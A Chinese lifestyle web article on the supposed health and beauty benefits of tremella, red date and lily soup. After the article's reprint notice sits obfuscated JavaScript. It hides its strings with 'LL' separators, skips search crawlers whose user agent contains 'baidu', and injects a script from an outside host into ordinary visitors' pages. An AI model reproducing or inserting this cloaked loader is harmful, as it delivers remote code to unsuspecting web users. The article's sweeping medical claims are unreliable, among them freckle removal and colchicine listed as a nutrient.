当前位置:首页 > 饮食 > 食物营养 > 正文

银耳红枣百合汤有什么功效呢?

2017-07-07 17:50:50  来源:360常识网   热度:
导语:有句话说的好“一日食三枣,百岁不显老”,还有“粥里加点枣,皮肤会更好”。许多注重养生的女性在要求健康的同时还在意排毒养颜美容。我们

有句话说的好“一日食三枣,百岁不显老”,还有“粥里加点枣,皮肤会更好”。许多注重养生的女性在要求健康的同时还在意排毒养颜美容。我们也知道,现在的竞争日益激烈,繁重的脑力、体力劳动使我们的容颜渐显苍老。集聚美味和养生的银耳红枣百合汤,能给我们带来什么神奇的功效呢?

银耳也是一味滋补良药,特点是滋润而不腻滞,具有补脾开胃、益气清肠、安眠健胃、补脑、养阴清热、润燥之功,对阴虚火旺不受参茸等温热滋补的病人是一种良好的补品。银耳富有天然特性胶质,加上它的滋阴作用,长期服用可以润肤,并有祛除脸部黄褐斑、雀斑的功效。银耳是种含膳食纤维的减肥食品,它的膳食纤维可助胃肠蠕动,减少脂肪吸收。

红枣是一种丰富,具有补气益气,安神,补血养肝,养颜,等多种养生功效,不同的吃法,可让红枣发挥出不同的养生功效。大枣中含有较多的膳食纤维,适当的吃具有通便的作用的,所以对于便秘的患者适当的吃些红枣也具有养生的功效。

百合的营养价值主要集中在生物素、秋水碱、生物碱等多种营养物质,同时其中含有丰富的蛋白质、淀粉、脂肪、矿物质等等,因此具有强大的营养价值,中医认为百合具有安补、益气除烦、美容养颜之功效。另外,对于处于经期前后的女性而言,适当食用百合还有除烦,减少经前综合症,情绪压力、抑郁等作用。

好了,小编已经为你介绍了那么多银耳红枣百合汤的功效。吃出健康,吃出美丽,是每一位女性的夙愿。为体力劳动者提供充沛能量,为脑力劳动者送去安神,提高记忆力,提升工作效率。关注自己的健康,更注意身边人的健康。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}